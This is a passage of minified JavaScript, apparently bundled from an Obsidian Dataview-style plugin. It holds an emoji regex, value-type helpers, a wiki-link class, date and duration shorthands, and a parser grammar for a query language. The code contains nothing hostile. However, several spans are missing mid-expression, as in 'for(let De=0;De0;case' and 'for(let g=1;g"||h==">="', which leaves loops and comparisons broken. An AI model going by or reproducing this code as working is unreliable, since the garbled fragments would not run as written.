DBD]|\uDD1D\u200D\uD83D\uDC68\uD83C[\uDFFB-\uDFFE])))?))?|\uDC69(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:\uDC8B\u200D\uD83D)?[\uDC68\uDC69]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D(?:[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?|\uDC69\u200D\uD83D(?:\uDC66(?:\u200D\uD83D\uDC66)?|\uDC67(?:\u200D\uD83D[\uDC66\uDC67])?))|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFC-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB\uDFFD-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB-\uDFFD\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D\uD83D(?:[\uDC68\uDC69]|\uDC8B\u200D\uD83D[\uDC68\uDC69])\uD83C[\uDFFB-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83D[\uDC68\uDC69]\uD83C[\uDFFB-\uDFFE])))?))?|\uDC6F(?:\u200D[\u2640\u2642]\uFE0F?)?|\uDD75(?:\uFE0F|\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|\uDE2E(?:\u200D\uD83D\uDCA8)?|\uDE35(?:\u200D\uD83D\uDCAB)?|\uDE36(?:\u200D\uD83C\uDF2B\uFE0F?)?)|\uD83E(?:[\uDD0C\uDD0F\uDD18-\uDD1F\uDD30-\uDD34\uDD36\uDD77\uDDB5\uDDB6\uDDBB\uDDD2\uDDD3\uDDD5\uDEC3-\uDEC5\uDEF0\uDEF2-\uDEF8](?:\uD83C[\uDFFB-\uDFFF])?|[\uDD26\uDD35\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD4\uDDD6-\uDDDD](?:\uD83C[\uDFFB-\uDFFF])?(?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDDDE\uDDDF](?:\u200D[\u2640\u2642]\uFE0F?)?|[\uDD0D\uDD0E\uDD10-\uDD17\uDD20-\uDD25\uDD27-\uDD2F\uDD3A\uDD3F-\uDD45\uDD47-\uDD76\uDD78-\uDDB4\uDDB7\uDDBA\uDDBC-\uDDCC\uDDD0\uDDE0-\uDDFF\uDE70-\uDE7C\uDE80-\uDE88\uDE90-\uDEBD\uDEBF-\uDEC2\uDECE-\uDEDB\uDEE0-\uDEE8]|\uDD3C(?:\u200D[\u2640\u2642]\uFE0F?|\uD83C[\uDFFB-\uDFFF])?|\uDDD1(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83E\uDDD1))|\uD83C(?:\uDFFB(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFC-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFC(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB\uDFFD-\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFD(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFE(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB-\uDFFD\uDFFF]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?|\uDFFF(?:\u200D(?:[\u2695\u2696\u2708]\uFE0F?|\u2764\uFE0F?\u200D(?:\uD83D\uDC8B\u200D)?\uD83E\uDDD1\uD83C[\uDFFB-\uDFFE]|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E(?:[\uDDAF-\uDDB3\uDDBC\uDDBD]|\uDD1D\u200D\uD83E\uDDD1\uD83C[\uDFFB-\uDFFF])))?))?|\uDEF1(?:\uD83C(?:\uDFFB(?:\u200D\uD83E\uDEF2\uD83C[\uDFFC-\uDFFF])?|\uDFFC(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB\uDFFD-\uDFFF])?|\uDFFD(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])?|\uDFFE(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB-\uDFFD\uDFFF])?|\uDFFF(?:\u200D\uD83E\uDEF2\uD83C[\uDFFB-\uDFFE])?))?)/g;function p_(t){return t==null?t:t.shiftToAll().normalize()}function hE(t){return t.includes("/")&&(t=t.substring(t.lastIndexOf("/")+1)),t.endsWith(".md")&&(t=t.substring(0,t.length-3)),t}F.alt(F.regex(new RegExp(y0(),"")),F.regex(/[0-9\p{Letter}_-]+/u).map(t=>t.toLocaleLowerCase()),F.whitespace.map(t=>"-"),F.any.map(t=>"")).many().map(t=>t.join(""));var k4=F.alt(F.regex(new RegExp(y0(),"")),F.regex(/[0-9\p{Letter}_-]+/u),F.whitespace.map(t=>" "),F.any.map(t=>" ")).many().map(t=>t.join("").split(/\s+/).join(" ").trim());function x4(t){return k4.tryParse(t)}function S4(t){return t=p_(t),t=ge.fromObject(Object.fromEntries(Object.entries(t.toObject()).filter(([,e])=>e!=0))),t.toHuman()}var Ou;(function(t){function e(D,k=g0,E=!1){let v=n(D);if(!v)return k.renderNullAs;switch(v.type){case"null":return k.renderNullAs;case"string":return v.value;case"number":case"boolean":return""+v.value;case"html":return v.value.outerHTML;case"widget":return v.value.markdown();case"link":return v.value.markdown();case"function":return"";case"array":let _="";return E&&(_+="["),_+=v.value.map(C=>e(C,k,!0)).join(", "),E&&(_+="]"),_;case"object":return"{ "+Object.entries(v.value).map(C=>C[0]+": "+e(C[1],k,!0)).join(", ")+" }";case"date":return v.value.second==0&&v.value.hour==0&&v.value.minute==0?v.value.toFormat(k.defaultDateFormat):v.value.toFormat(k.defaultDateTimeFormat);case"duration":return S4(v.value)}}t.toString=e;function n(D){return h(D)?{type:"null",value:D}:c(D)?{type:"number",value:D}:l(D)?{type:"string",value:D}:p(D)?{type:"boolean",value:D}:f(D)?{type:"duration",value:D}:u(D)?{type:"date",value:D}:y(D)?{type:"widget",value:D}:d(D)?{type:"array",value:D}:g(D)?{type:"link",value:D}:S(D)?{type:"function",value:D}:w(D)?{type:"html",value:D}:b(D)?{type:"object",value:D}:void 0}t.wrapValue=n;function r(D,k){if(b(D)){let E={};for(let[v,_]of Object.entries(D))E[v]=r(_,k);return E}else if(d(D)){let E=[];for(let v of D)E.push(r(v,k));return E}else return k(D)}t.mapLeaves=r;function i(D,k,E){if(D===void 0&&(D=null),k===void 0&&(k=null),D===null&&k===null)return 0;if(D===null)return-1;if(k===null)return 1;let v=n(D),_=n(k);if(v===void 0&&_===void 0)return 0;if(v===void 0)return-1;if(_===void 0)return 1;if(v.type!=_.type)return v.type.localeCompare(_.type);if(v.value===_.value)return 0;switch(v.type){case"string":return v.value.localeCompare(_.value);case"number":return v.value<_.value?-1:v.value==_.value?0:1;case"null":return 0;case"boolean":return v.value==_.value?0:v.value?1:-1;case"link":let C=v.value,A=_.value,P=E??(De=>De),N=P(C.path).localeCompare(P(A.path));if(N!=0)return N;let B=C.type.localeCompare(A.type);return B!=0?B:C.subpath&&!A.subpath?1:!C.subpath&&A.subpath?-1:!C.subpath&&!A.subpath?0:(C.subpath??"").localeCompare(A.subpath??"");case"date":return v.value<_.value?-1:v.value.equals(_.value)?0:1;case"duration":return v.value<_.value?-1:v.value.equals(_.value)?0:1;case"array":let L=v.value,G=_.value;for(let De=0;De0;case"boolean":return k.value;case"link":return!!k.value.path;case"date":return k.value.toMillis()!=0;case"duration":return k.value.as("seconds")!=0;case"object":return Object.keys(k.value).length>0;case"array":return k.value.length>0;case"null":return!1;case"html":case"widget":case"function":return!0}}t.isTruthy=o;function a(D){if(D==null)return D;if(t.isArray(D))return[].concat(D.map(k=>a(k)));if(t.isObject(D)){let k={};for(let[E,v]of Object.entries(D))k[E]=a(v);return k}else return D}t.deepCopy=a;function l(D){return typeof D=="string"}t.isString=l;function c(D){return typeof D=="number"}t.isNumber=c;function u(D){return D instanceof Ae}t.isDate=u;function f(D){return D instanceof ge}t.isDuration=f;function h(D){return D==null}t.isNull=h;function d(D){return Array.isArray(D)}t.isArray=d;function p(D){return typeof D=="boolean"}t.isBoolean=p;function g(D){return D instanceof hm}t.isLink=g;function y(D){return D instanceof Pu}t.isWidget=y;function w(D){return typeof HTMLElement<"u"?D instanceof HTMLElement:!1}t.isHtml=w;function b(D){return typeof D=="object"&&!w(D)&&!y(D)&&!d(D)&&!f(D)&&!u(D)&&!g(D)&&D!==void 0&&!h(D)}t.isObject=b;function S(D){return typeof D=="function"}t.isFunction=S})(Ou||(Ou={}));var dE;(function(t){function e(i){return Ou.isObject(i)&&Object.keys(i).length==2&&"key"in i&&"rows"in i}t.isElementGroup=e;function n(i){for(let s of i)if(!e(s))return!1;return!0}t.isGrouping=n;function r(i){if(n(i)){let s=0;for(let o of i)s+=r(o.rows);return s}else return i.length}t.count=r})(dE||(dE={}));var hm=class t{path;display;subpath;embed;type;static file(e,n=!1,r){return new t({path:e,embed:n,display:r,subpath:void 0,type:"file"})}static infer(e,n=!1,r){if(e.includes("#^")){let i=e.split("#^");return t.block(i[0],i[1],n,r)}else if(e.includes("#")){let i=e.split("#");return t.header(i[0],i[1],n,r)}else return t.file(e,n,r)}static header(e,n,r,i){return new t({path:e,embed:r,display:i,subpath:x4(n),type:"header"})}static block(e,n,r,i){return new t({path:e,embed:r,display:i,subpath:n,type:"block"})}static fromObject(e){return new t(e)}constructor(e){Object.assign(this,e)}equals(e){return e==null||e==null?!1:this.path==e.path&&this.type==e.type&&this.subpath==e.subpath}toString(){return this.markdown()}toObject(){return{path:this.path,type:this.type,subpath:this.subpath,display:this.display,embed:this.embed}}withPath(e){return new t(Object.assign({},this,{path:e}))}withDisplay(e){return new t(Object.assign({},this,{display:e}))}withHeader(e){return t.header(this.path,e,this.embed,this.display)}toFile(){return t.file(this.path,this.embed,this.display)}toEmbed(){if(this.embed)return this;{let e=new t(this);return e.embed=!0,e}}fromEmbed(){if(this.embed){let e=new t(this);return e.embed=!1,e}else return this}markdown(){let e=(this.embed?"!":"")+"[["+this.obsidianLink();return this.display?e+="|"+this.display:(e+="|"+hE(this.path),(this.type=="header"||this.type=="block")&&(e+=" > "+this.subpath)),e+="]]",e}obsidianLink(){let e=this.path.replaceAll("|","\\|");return this.type=="header"?e+"#"+this.subpath?.replaceAll("|","\\|"):this.type=="block"?e+"#^"+this.subpath?.replaceAll("|","\\|"):e}fileName(){return hE(this.path).replace(".md","")}},Pu=class{$widget;constructor(e){this.$widget=e}},s0=class extends Pu{key;value;constructor(e,n){super("dataview:list-pair"),this.key=e,this.value=n}markdown(){return`${Ou.toString(this.key)}: ${Ou.toString(this.value)}`}},o0=class extends Pu{url;display;constructor(e,n){super("dataview:external-link"),this.url=e,this.display=n}markdown(){return`[${this.display??this.url}](${this.url})`}},mE;(function(t){function e(o,a){return new s0(o,a)}t.listPair=e;function n(o,a){return new o0(o,a)}t.externalLink=n;function r(o){return o.$widget==="dataview:list-pair"}t.isListPair=r;function i(o){return o.$widget==="dataview:external-link"}t.isExternalLink=i;function s(o){return r(o)||i(o)}t.isBuiltin=s})(mE||(mE={}));var kt;(function(t){function e(h){return{type:"variable",name:h}}t.variable=e;function n(h){return{type:"literal",value:h}}t.literal=n;function r(h,d,p){return{type:"binaryop",left:h,op:d,right:p}}t.binaryOp=r;function i(h,d){return{type:"index",object:h,index:d}}t.index=i;function s(h){let d=h.split("."),p=t.variable(d[0]);for(let g=1;g"||h==">="||h=="!="||h=="="}t.isCompareOp=f,t.NULL=t.literal(null)})(kt||(kt={}));var ki;(function(t){function e(u){return{type:"tag",tag:u}}t.tag=e;function n(u){return{type:"csv",path:u}}t.csv=n;function r(u){return{type:"folder",folder:u}}t.folder=r;function i(u,f){return{type:"link",file:u,direction:f?"incoming":"outgoing"}}t.link=i;function s(u,f,h){return{type:"binaryop",left:u,op:f,right:h}}t.binaryOp=s;function o(u,f){return{type:"binaryop",left:u,op:"&",right:f}}t.and=o;function a(u,f){return{type:"binaryop",left:u,op:"|",right:f}}t.or=a;function l(u){return{type:"negate",child:u}}t.negate=l;function c(){return{type:"empty"}}t.empty=c})(ki||(ki={}));var pE=new RegExp(y0(),""),a0={year:ge.fromObject({years:1}),years:ge.fromObject({years:1}),yr:ge.fromObject({years:1}),yrs:ge.fromObject({years:1}),month:ge.fromObject({months:1}),months:ge.fromObject({months:1}),mo:ge.fromObject({months:1}),mos:ge.fromObject({months:1}),week:ge.fromObject({weeks:1}),weeks:ge.fromObject({weeks:1}),wk:ge.fromObject({weeks:1}),wks:ge.fromObject({weeks:1}),w:ge.fromObject({weeks:1}),day:ge.fromObject({days:1}),days:ge.fromObject({days:1}),d:ge.fromObject({days:1}),hour:ge.fromObject({hours:1}),hours:ge.fromObject({hours:1}),hr:ge.fromObject({hours:1}),hrs:ge.fromObject({hours:1}),h:ge.fromObject({hours:1}),minute:ge.fromObject({minutes:1}),minutes:ge.fromObject({minutes:1}),min:ge.fromObject({minutes:1}),mins:ge.fromObject({minutes:1}),m:ge.fromObject({minutes:1}),second:ge.fromObject({seconds:1}),seconds:ge.fromObject({seconds:1}),sec:ge.fromObject({seconds:1}),secs:ge.fromObject({seconds:1}),s:ge.fromObject({seconds:1})},l0={now:()=>Ae.local(),today:()=>Ae.local().startOf("day"),yesterday:()=>Ae.local().startOf("day").minus(ge.fromObject({days:1})),tomorrow:()=>Ae.local().startOf("day").plus(ge.fromObject({days:1})),sow:()=>Ae.local().startOf("week"),"start-of-week":()=>Ae.local().startOf("week"),eow:()=>Ae.local().endOf("week"),"end-of-week":()=>Ae.local().endOf("week"),soy:()=>Ae.local().startOf("year"),"start-of-year":()=>Ae.local().startOf("year"),eoy:()=>Ae.local().endOf("year"),"end-of-year":()=>Ae.local().endOf("year"),som:()=>Ae.local().startOf("month"),"start-of-month":()=>Ae.local().startOf("month"),eom:()=>Ae.local().endOf("month"),"end-of-month":()=>Ae.local().endOf("month")},c0=["FROM","WHERE","LIMIT","GROUP","FLATTEN"];function D4(t){let e=-1;for(;(e=t.indexOf("|",e+1))>=0;)if(!(e>0&&t[e-1]=="\\"))return[t.substring(0,e).replace(/\\\|/g,"|"),t.substring(e+1)];return[t.replace(/\\\|/g,"|"),void 0]}function E4(t){let[e,n]=D4(t);return hm.infer(e,!1,n)}function Tu(t,e,n){return F.seqMap(t,F.seq(F.optWhitespace,e,F.optWhitespace,t).many(),(r,i)=>{if(i.length==0)return r;let s=n(r,i[0][1],i[0][3]);for(let o=1;o(i,s)=>{let o=t._(i,s);if(!o.status)return o;for(let a of e){let l=a(o.value)._(i,o.index);if(!l.status)return o;o=l}return o})}var Wr=F.createLanguage({number:t=>F.regexp(/-?[0-9]+(\.[0-9]+)?/).map(e=>Number.parseFloat(e)).desc("number"),string:t=>F.string('"').then(F.alt(t.escapeCharacter,F.noneOf('"\\')).atLeast(0).map(e=>e.join(""))).skip(F.string('"')).desc("string"),escapeCharacter:t=>F.string("\\").then(F.any).map(e=>e==='"'?'"':e==="\\"?"\\":"\\"+e),bool:t=>F.regexp(/true|false|True|False/).map(e=>e.toLowerCase()=="true").desc("boolean ('true' or 'false')"),tag:t=>F.seqMap(F.string("#"),F.alt(F.regexp(/[^\u2000-\u206F\u2E00-\u2E7F'!"#$%&()*+,.:;<=>?@^`{|}~\[\]\\\s]/).desc("text")).many(),(e,n)=>e+n.join("")).desc("tag ('#hello/stuff')"),identifier:t=>F.seqMap(F.alt(F.regexp(/\p{Letter}/u),F.regexp(pE).desc("text")),F.alt(F.regexp(/[0-9\p{Letter}_-]/u),F.regexp(pE).desc("text")).many(),(e,n)=>e+n.join("")).desc("variable identifier"),link:t=>F.regexp(/\[\[([^\[\]]*?)\]\]/u,1).map(e=>E4(e)).desc("file link"),embedLink:t=>F.seqMap(F.string("!").atMost(1),t.link,(e,n)=>(e.length>0&&(n.embed=!0),n)).desc("file link"),binaryPlusMinus:t=>F.regexp(/\+|-/).map(e=>e).desc("'+' or '-'"),binaryMulDiv:t=>F.regexp(/\*|\/|%/).map(e=>e).desc("'*' or '/' or '%'"),binaryCompareOp:t=>F.regexp(/>=|<=|!=|>|<|=/).map(e=>e).desc("'>=' or '<=' or '!=' or '=' or '>' or '<'"),binaryBooleanOp:t=>F.regexp(/and|or|&|\|/i).map(e=>e.toLowerCase()=="and"?"&":e.toLowerCase()=="or"?"|":e).desc("'and' or 'or'"),rootDate:t=>F.seqMap(F.regexp(/\d{4}/),F.string("-"),F.regexp(/\d{2}/),(e,n,r)=>Ae.fromObject({year:Number.parseInt(e),month:Number.parseInt(r)})).desc("date in format YYYY-MM[-DDTHH-MM-SS.MS]"),dateShorthand:t=>F.alt(...Object.keys(l0).sort((e,n)=>n.length-e.length).map(F.string)),date:t=>_4(t.rootDate,e=>F.seqMap(F.string("-"),F.regexp(/\d{2}/),(n,r)=>e.set({day:Number.parseInt(r)})),e=>F.seqMap(F.string("T"),F.regexp(/\d{2}/),(n,r)=>e.set({hour:Number.parseInt(r)})),e=>F.seqMap(F.string(":"),F.regexp(/\d{2}/),(n,r)=>e.set({minute:Number.parseInt(r)})),e=>F.seqMap(F.string(":"),F.regexp(/\d{2}/),(n,r)=>e.set({second:Number.parseInt(r)})),e=>F.alt(F.seqMap(F.string("."),F.regexp(/\d{3}/),(n,r)=>e.set({millisecond:Number.parseInt(r)})),F.succeed(e)),e=>F.alt(F.seqMap(F.string("+").or(F.string("-")),F.regexp(/\d{1,2}(:\d{2})?/),(n,r)=>e.setZone("UTC"+n+r,{keepLocalTime:!0})),F.seqMap(F.string("Z"),()=>e.setZone("utc",{keepLocalTime:!0})),F.seqMap(F.string("["),F.regexp(/[0-9A-Za-z+-\/]+/u),F.string("]"),(n,r,i)=>e.setZone(r,{keepLocalTime:!0})))).assert(e=>e.isValid,"valid date").desc("date in format YYYY-MM[-DDTHH-MM-SS.MS]"),datePlus:t=>F.alt(t.dateShorthand.map(e=>l0[e]()),t.date).desc("date in format YYYY-MM[-DDTHH-MM-SS.MS] or in shorthand"),durationType:t=>F.alt(...Object.keys(a0).sort((e,n)=>n.length-e.length).map(F.string)),duration:t=>F.seqMap(t.number,F.optWhitespace,t.durationType,(e,n,r)=>a0[r].mapUnits(i=>i*e)).sepBy1(F.string(",").trim(F.optWhitespace).or(F.optWhitespace)).map(e=>e.reduce((n,r)=>n.plus(r))).desc("duration like 4hr2min"),rawNull:t=>F.string("null"),tagSource:t=>t.tag.map(e=>ki.tag(e)),csvSource:t=>F.seqMap(F.string("csv(").skip(F.optWhitespace),t.string,F.string(")"),(e,n,r)=>ki.csv(n)),linkIncomingSource:t=>t.link.map(e=>ki.link(e.path,!0)),linkOutgoingSource:t=>F.seqMap(F.string("outgoing(").skip(F.optWhitespace),t.link,F.string(")"),(e,n,r)=>ki.link(n.path,!1)),folderSource:t=>t.string.map(e=>ki.folder(e)),parensSource:t=>F.seqMap(F.string("("),F.optWhitespace,t.source,F.optWhitespace,F.string(")"),(e,n,r,i,s)=>r),negateSource:t=>F.seqMap(F.alt(F.string("-"),F.string("!")),t.atomSource,(e,n)=>ki.negate(n)),atomSource:t=>F.alt(t.parensSource,t.negateSource,t.linkOutgoingSource,t.linkIncomingSource,t.folderSource,t.tagSource,t.csvSource),binaryOpSource:t=>Tu(t.atomSource,t.binaryBooleanOp.map(e=>e),ki.binaryOp),source:t=>t.binaryOpSource,variableField:t=>t.identifier.chain(e=>c0.includes(e.toUpperCase())?F.fail("Variable fields cannot be a keyword ("+c0.join(" or ")+")"):F.succeed(kt.variable(e))).desc("variable"),numberField:t=>t.number.map(e=>kt.literal(e)).desc("number"),stringField:t=>t.string.map(e=>kt.literal(e)).desc("string"),boolField:t=>t.bool.map(e=>kt.literal(e)).desc("boolean"),dateField:t=>F.seqMap(F.string("date("),F.optWhitespace,t.datePlus,F.optWhitespace,F.string(")"),(e,n,r,i,s)=>kt.literal(r)).desc("date"),durationField:t=>F.seqMap(F.string("dur("),F.optWhitespace,t.duration,F.optWhitespace,F.string(")"),(e,n,r,i,s)=>kt.literal(r)).desc("duration"),nullField:t=>t.rawNull.map(e=>kt.NULL),linkField:t=>t.link.map(e=>kt.literal(e)),listField:t=>t.field.sepBy(F.string(",").trim(F.optWhitespace)).wrap(F.string("[").skip(F.optWhitespace),F.optWhitespace.then(F.string("]"))).map(e=>kt.list(e)).desc("list ('[1, 2, 3]')"),objectField:t=>F.seqMap(t.identifier.or(t.string),F.string(":").trim(F.optWhitespace),t.field,(e,n,r)=>({name:e,value:r})).sepBy(F.string(",").trim(F.optWhitespace)).wrap(F.string("{").skip(F.optWhitespace),F.optWhitespace.then(F.string("}"))).map(e=>{let n={};for(let r of e)n[r.name]=r.value;return kt.object(n)}).desc("object ('{ a: 1, b: 2 }')"),atomInlineField:t=>F.alt(t.date,t.duration.map(e=>p_(e)),t.string,t.tag,t.embedLink,t.bool,t.number,t.rawNull),inlineFieldList:t=>t.atomInlineField.sepBy(F.string(",").trim(F.optWhitespace).lookahead(t.atomInlineField)),inlineField:t=>F.alt(F.seqMap(t.atomInlineField,F.string(",").trim(F.optWhitespace),t.inlineFieldList,(e,n,r)=>[e].concat(r)),t.atomInlineField),atomField:t=>F.alt(t.embedLink.map(e=>kt.literal(e)),t.negatedField,t.linkField,t.listField,t.objectField,t.lambdaField,t.parensField,t.boolField,t.numberField,t.stringField,t.dateField,t.durationField,t.nullField,t.variableField),indexField:t=>F.seqMap(t.atomField,F.alt(t.dotPostfix,t.indexPostfix,t.functionPostfix).many(),(e,n)=>{let r=e;for(let i of n)switch(i.type){case"dot":r=kt.index(r,kt.literal(i.field));break;case"index":r=kt.index(r,i.field);break;case"function":r=kt.func(r,i.fields);break}return r}),negatedField:t=>F.seqMap(F.string("!"),t.indexField,(e,n)=>kt.negate(n)).desc("negated field"),parensField:t=>F.seqMap(F.string("("),F.optWhitespace,t.field,F.optWhitespace,F.string(")"),(e,n,r,i,s)=>r),lambdaField:t=>F.seqMap(t.identifier.sepBy(F.string(",").trim(F.optWhitespace)).wrap(F.string("(").trim(F.optWhitespace),F.string(")").trim(F.optWhitespace)),F.string("=>").trim(F.optWhitespace),t.field,(e,n,r)=>({type:"lambda",arguments:e,value:r})),dotPostfix:t=>F.seqMap(F.string("."),t.identifier,(e,n)=>({type:"dot",field:n})),indexPostfix:t=>F.seqMap(F.string("["),F.optWhitespace,t.field,F.optWhitespace,F.string("]"),(e,n,r,i,s)=>({type:"index",field:r})),functionPostfix:t=>F.seqMap(F.string("("),F.optWhitespace,t.field.sepBy(F.string(",").trim(F.optWhitespace)),F.optWhitespace,F.string(")"),(e,n,r,i,s)=>({type:"function",fields:r})),binaryMulDivField:t=>Tu(t.indexField,t.binaryMulDiv,kt.binaryOp),binaryPlusMinusField:t=>Tu(t.binaryMulDivField,t.binaryPlusMinus,kt.binaryOp),binaryCompareField:t=>Tu(t.binaryPlusMinusField,t.binaryCompareOp,kt.binaryOp),binaryBooleanField:t=>Tu(t.binaryCompareField,t.binaryBooleanOp,kt.binaryOp),binaryOpField:t=>t.binaryBooleanField,field:t=>t.binaryOpField});function C4(t){try{return um.success(Wr.field.tryParse(t))}catch(e){return um.failure(""+e)}}var dm;(function(t){function e(r,i){return{name:r,field:i}}t.named=e;function n(r,i){return{field:r,direction:i}}t.sortBy=n})(dm||(dm={}));function T4(t){return F.custom((e,n)=>(r,i)=>{let s=t._(r,i);return s.status?Object.assign({},s,{value:[s.value,r.substring(i,s.index)]}):s})}function F4(t){return t.split(/[\r\n]+/).map(e=>e.trim()).join("")}function gE(t,e){return F.eof.map(t).or(F.whitespace.then(e))}var g_=F.createLanguage({queryType:t=>F.alt(F.regexp(/TABLE|LIST|TASK|CALENDAR/i)).map(e=>e.toLowerCase()).desc("query type ('TABLE', 'LIST', 'TASK', or 'CALENDAR')"),explicitNamedField:t=>F.seqMap(Wr.field.skip(F.whitespace),F.regexp(/AS/i).skip(F.whitespace),Wr.identifier.or(Wr.string),(e,n,r)=>dm.named(r,e)),comment:()=>F.Parser((t,e)=>{let n=t.substring(e);if(!n.startsWith("//"))return F.makeFailure(e,"Not a comment");n=n.split(` -`)[0];let r=n.substring(2).trim();return F.makeSuccess(e+n.length,r)}),namedField:t=>F.alt(t.explicitNamedField,T4(Wr.field).map(([e,n])=>dm.named(F4(n),e))),sortField:t=>F.seqMap(Wr.field.skip(F.optWhitespace),F.regexp(/ASCENDING|DESCENDING|ASC|DESC/i).atMost(1),(e,n)=>{let r=n.length==0?"ascending":n[0].toLowerCase();return r=="desc"&&(r="descending"),r=="asc"&&(r="ascending"),{field:e,direction:r}}),headerClause:t=>t.queryType.chain(e=>{switch(e){case"table":return 